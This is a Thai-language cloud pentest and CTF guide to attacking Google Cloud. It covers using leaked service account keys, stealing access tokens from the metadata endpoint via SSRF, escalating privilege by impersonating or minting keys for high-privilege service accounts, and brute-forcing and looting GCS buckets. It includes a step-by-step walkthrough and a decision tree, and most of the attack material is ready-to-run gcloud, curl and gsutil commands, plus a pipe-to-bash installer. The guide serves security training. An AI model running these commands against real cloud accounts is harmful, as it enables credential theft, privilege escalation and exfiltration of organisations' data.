cloud
GCP (Google Cloud) Attacks
GCP Attacks ครอบคลุมการโจมตี Google Cloud: service account key abuse, metadata token theft, IAM privesc (actAs/impersonate), bucket enumeration (GCS), และ compute instance abuse บทนี้มีคำสั่งครบ + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)
IntermediateAdvanced#gcp#google-cloud#cloud#service-account#iam#privesc#ctf#pentest
1. หลักการ
GCP ใช้ service account (SA) เป็นแกนกลางของ identity แต่ละ resource (เช่น Compute instance) ผูกกับ SA และได้สิทธิ์ตาม IAM role ของ SA นั้น จุดโจมตี: SA key (.json) ที่หลุด, metadata token theft (SSRF), และ IAM privesc ผ่าน iam.serviceAccounts.actAs / getAccessToken
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, cloud pentest) เท่านั้น
2. Service Account Key Abuse
ใช้ SA key + enumerate
# ถ้าเจอ SA key (.json) — มัก leak ใน code/bucket/repo
gcloud auth activate-service-account --key-file=sa.json
# ดูว่าเป็นใคร + project
gcloud auth list
gcloud config list
gcloud projects list
# ดูสิทธิ์ของ SA ใน project
gcloud projects get-iam-policy <project-id>
# enumerate resource
gcloud compute instances list
gcloud storage buckets list
gcloud secrets list3. Metadata Token Theft
ดึง token จาก metadata (บน GCE instance)
# ดึง access token ของ SA ที่ผูกกับ instance (ผ่าน SSRF หรือบน instance)
curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'
# ดู scope ของ SA
curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes'
# ใช้ token
TOKEN=<access_token>
curl -s -H "Authorization: Bearer $TOKEN" \
'https://storage.googleapis.com/storage/v1/b?project=<project>'GCP metadata ต้องมี header
Metadata-Flavor: Google (ต่างจาก AWS/Azure) — endpoint คือ metadata.google.internal4. IAM Privilege Escalation
| Permission | วิธี privesc |
|---|---|
| iam.serviceAccounts.actAs | ใช้ SA สิทธิ์สูงรัน resource |
| iam.serviceAccounts.getAccessToken | ขอ token ของ SA อื่น = impersonate |
| iam.serviceAccountKeys.create | สร้าง key ให้ SA สิทธิ์สูง |
| iam.roles.update | แก้ custom role เพิ่มสิทธิ์ |
| cloudfunctions / compute + actAs | deploy ด้วย SA สูง → รันโค้ด |
impersonate SA สิทธิ์สูง
# ถ้ามี getAccessToken บน SA สิทธิ์สูง
gcloud auth print-access-token --impersonate-service-account=<high-priv-sa>@<project>.iam.gserviceaccount.com
# หรือสร้าง key ให้ SA นั้น (ถ้ามี keys.create)
gcloud iam service-accounts keys create key.json \
--iam-account=<high-priv-sa>@<project>.iam.gserviceaccount.com5. GCS Bucket Enumeration
หา + เข้าถึง bucket
# brute ชื่อ bucket
GCPBucketBrute -k companyname -u
# ลอง list/download (anonymous)
gsutil ls gs://company-backup
gsutil -m cp -r gs://company-backup ./loot
# ดู IAM ของ bucket
gsutil iam get gs://company-backup
grep -rnE 'flag|secret|key|password' ./loot6. Lab Walkthrough
- 1เจอ SA key .json ใน repo/bucket →
gcloud auth activate-service-account --key-file=sa.json - 2enumerate:
gcloud projects get-iam-policy→ ดูสิทธิ์ SA - 3ถ้ามี getAccessToken: impersonate SA สิทธิ์สูงกว่า
- 4หรือ SSRF บน GCE → ดึง metadata token (Metadata-Flavor: Google)
- 5เข้าถึง secret:
gcloud secrets versions access latest --secret= - 6flag มักอยู่: GCS bucket, Secret Manager, หรือ resource ที่ SA เข้าถึง
7. Troubleshooting
| อาการ | สาเหตุ / แก้ |
|---|---|
| metadata ไม่ตอบ | ต้อง header Metadata-Flavor: Google |
| activate-service-account fail | key .json เสีย/หมดอายุ — ตรวจ format |
| impersonate: PERMISSION_DENIED | ไม่มี getAccessToken/actAs บน SA นั้น |
| gsutil ls: AccessDenied | bucket ไม่ public — ต้องมี SA ที่มีสิทธิ์ |
| token scope จำกัด | ดู scopes — บาง scope เข้าถึงได้แค่บาง API |
8. Indicators & Quick Reference
สัญญาณ: SA key .json (
"type":"service_account"), SSRF → metadata.google.internal (Metadata-Flavor: Google), gs:// bucket, *.googleapis.com- GCP ใช้ service account เป็นแกน (ต่างจาก AWS IAM user)
- metadata: Metadata-Flavor: Google header (ต่างจาก AWS/Azure)
- privesc หลัก: actAs / getAccessToken (impersonate SA)
- SA key .json = ทอง (login ได้ทันที)
- เครื่องมือ: gcloud, gcp_scanner, GCPBucketBrute
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอโจทย์นี้: เจอ service account key (.json) หลุดใน code/bucket/repo หรือเจอ SSRF บนเว็บที่รันบน GCE instance มีแค่เครื่อง Kali เปล่า ๆ ทำตามนี้ทีละขั้น
- 1เช็คว่ามี gcloud cli ไหม:
gcloud versionถ้าไม่มี ลงcurl https://sdk.cloud.google.com | bash - 2ถ้าเจอ SA key .json: activate ด้วยไฟล์นั้น
gcloud auth activate-service-account --key-file=sa.json - 3เช็คว่าเป็นใคร/project ไหน:
gcloud auth listและgcloud config listแล้วgcloud projects list - 4ถ้าไม่มี key แต่เจอ SSRF บนเว็บที่รันบน GCE: ดึง token จาก metadata —
curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' - 5ใช้ token ที่ได้เรียก API ตรง ๆ:
curl -s -H "Authorization: Bearer $TOKEN" 'https://storage.googleapis.com/storage/v1/b?project=<project>' - 6ดูสิทธิ์ของ SA ใน project:
gcloud projects get-iam-policy <project-id> - 7enumerate resource ที่ SA เข้าถึงได้:
gcloud compute instances list,gcloud storage buckets list,gcloud secrets list - 8เช็คว่ามี
iam.serviceAccounts.getAccessToken/actAsบน SA สิทธิ์สูงกว่าไหม แล้วลอง impersonate:gcloud auth print-access-token --impersonate-service-account=<high-priv-sa>@<project>.iam.gserviceaccount.com - 9ถ้า impersonate สำเร็จ ให้ auth ต่อด้วยสิทธิ์นั้นแล้วเช็คสิทธิ์ใหม่ทั้งหมดซ้ำ (get-iam-policy)
- 10หา flag/secret ใน
gcloud secrets versions access latest --secret=<name>หรือใน GCS bucket ที่ SA เข้าถึงได้
Decision tree: มีอะไรในมือแล้วทำไงต่อ
มีอะไรอยู่ในมือ
✅ มี SA key (.json)→activate-sa
✅ เจอ SSRF บนเว็บที่รันบน GCE→metadata-token
❌ ไม่มีทั้งคู่→find-entry
gcloud auth activate-service-account --key-file=sa.json
✅ activate สำเร็จ→enum-project
❌ key เสีย/format ผิด→ทางตัน — ตรวจว่าไฟล์เป็น JSON ของ service account จริง (มี field type: service_account) ไม่ใช่ ADC หรือไฟล์ผิด
curl metadata.google.internal ผ่าน SSRF (Metadata-Flavor: Google)
✅ ได้ access token กลับมา→use-token
❌ metadata ไม่ตอบ→ทางตัน — เช็ค header Metadata-Flavor: Google ถูกไหม หรือเว็บนั้นไม่ได้รันบน GCE จริง
ใช้ token เรียก storage.googleapis.com / API อื่น
✅ เรียกได้ตามที่ scope อนุญาต→enum-project
❌ token scope จำกัดมาก→ดู scope ด้วย /service-accounts/default/scopes แล้วจำกัดตัวเองให้เรียกเฉพาะ API ที่ scope นั้นอนุญาต
ดูสิทธิ์ SA: gcloud projects get-iam-policy
✅ เจอ role ที่มี actAs/getAccessToken บน SA อื่น→check-impersonate
❌ ไม่เจอ privesc path ชัดเจน→check-resources
list resource ที่ SA นี้เข้าถึงตรง ๆ ได้ (bucket/secrets/compute)
✅ เจอ flag/secret ตรง ๆ โดยไม่ต้อง privesc→got-flag
❌ SA สิทธิ์จำกัดมากจริง ๆ→ทางตัน — ลองดู compute instance ที่มี startup-script หรือ resource อื่นที่ยังไม่ได้เช็ค
ลอง impersonate SA สิทธิ์สูงกว่า
gcloud auth print-access-token --impersonate-service-account=<high-priv-sa>
✅ impersonate สำเร็จ→got-admin
❌ PERMISSION_DENIED→SA เป้าหมายไม่อนุญาตให้ SA นี้ impersonate — ลองหา SA อื่นที่ role กว้างกว่า หรือ path อื่น
impersonate สำเร็จ — สิทธิ์สูงขึ้นแล้ว
auth ต่อด้วยสิทธิ์นี้แล้วเช็ค get-iam-policy ซ้ำ หา flag ใน Secret Manager/GCS
เจอ flag/secret แล้ว
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| auth/เรียก GCP API ด้วย SA key หรือ token | gcloud (Google Cloud SDK) | curl https://sdk.cloud.google.com | bash | - |
| brute หา GCS bucket จากชื่อบริษัท | - | GCPBucketBrute (git clone) | - |
| สแกนสิทธิ์/attack surface ของ SA อัตโนมัติ | - | gcp_scanner (git clone) | - |
| สแกน misconfig ทั้ง project | - | ScoutSuite (--provider gcp) | - |
| ยิง metadata endpoint ผ่าน SSRF | curl | - | - |
| decode JWT/service account key ที่เจอ | jq | - | jwt.io, CyberChef |
| ฝึกโจทย์ GCP misconfig จำลอง | - | - | hackingthe.cloud |
🚑 ถ้าตันสนิท ลองท่าถัดไป: ลองดู
aws-iam-privesc ถ้าโจทย์ multi-cloud เชื่อมกับ AWS account, ลอง azure-ad-attacks ถ้ามี Azure ผสมอยู่ด้วย, ลอง kubernetes-attacks ถ้า SA นี้ผูกกับ workload บน GKE (Workload Identity), ถ้าไม่มีทางดึง metadata token เลยตั้งแต่แรก ลองกลับไปที่ ssrf เพื่อหาช่องโหว่ที่ยิง metadata endpoint ได้หัวข้อที่เชื่อมโยง
AWS IAM Privilege Escalationเกี่ยวข้องโดยตรงServer-Side Request Forgery (SSRF)เกี่ยวข้องโดยตรงAzure AD / Entra ID AttacksเทคนิคเดียวกันAWS Lambda & Serverless AttacksเทคนิคเดียวกันAWS S3 Bucket AttacksเทคนิคเดียวกันKubernetes Attacks & EscapeเทคนิคเดียวกันPass-the-HashเทคนิคเดียวกันCredential Dumping (LSASS)เทคนิคเดียวกันKerberos Delegation AbuseเทคนิคเดียวกันToken Abuse (Potato Attacks)หัวข้อใกล้เคียงADCS Abuse (ESC1–ESC13)หัวข้อใกล้เคียงLinPEAS Playbookหัวข้อใกล้เคียง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้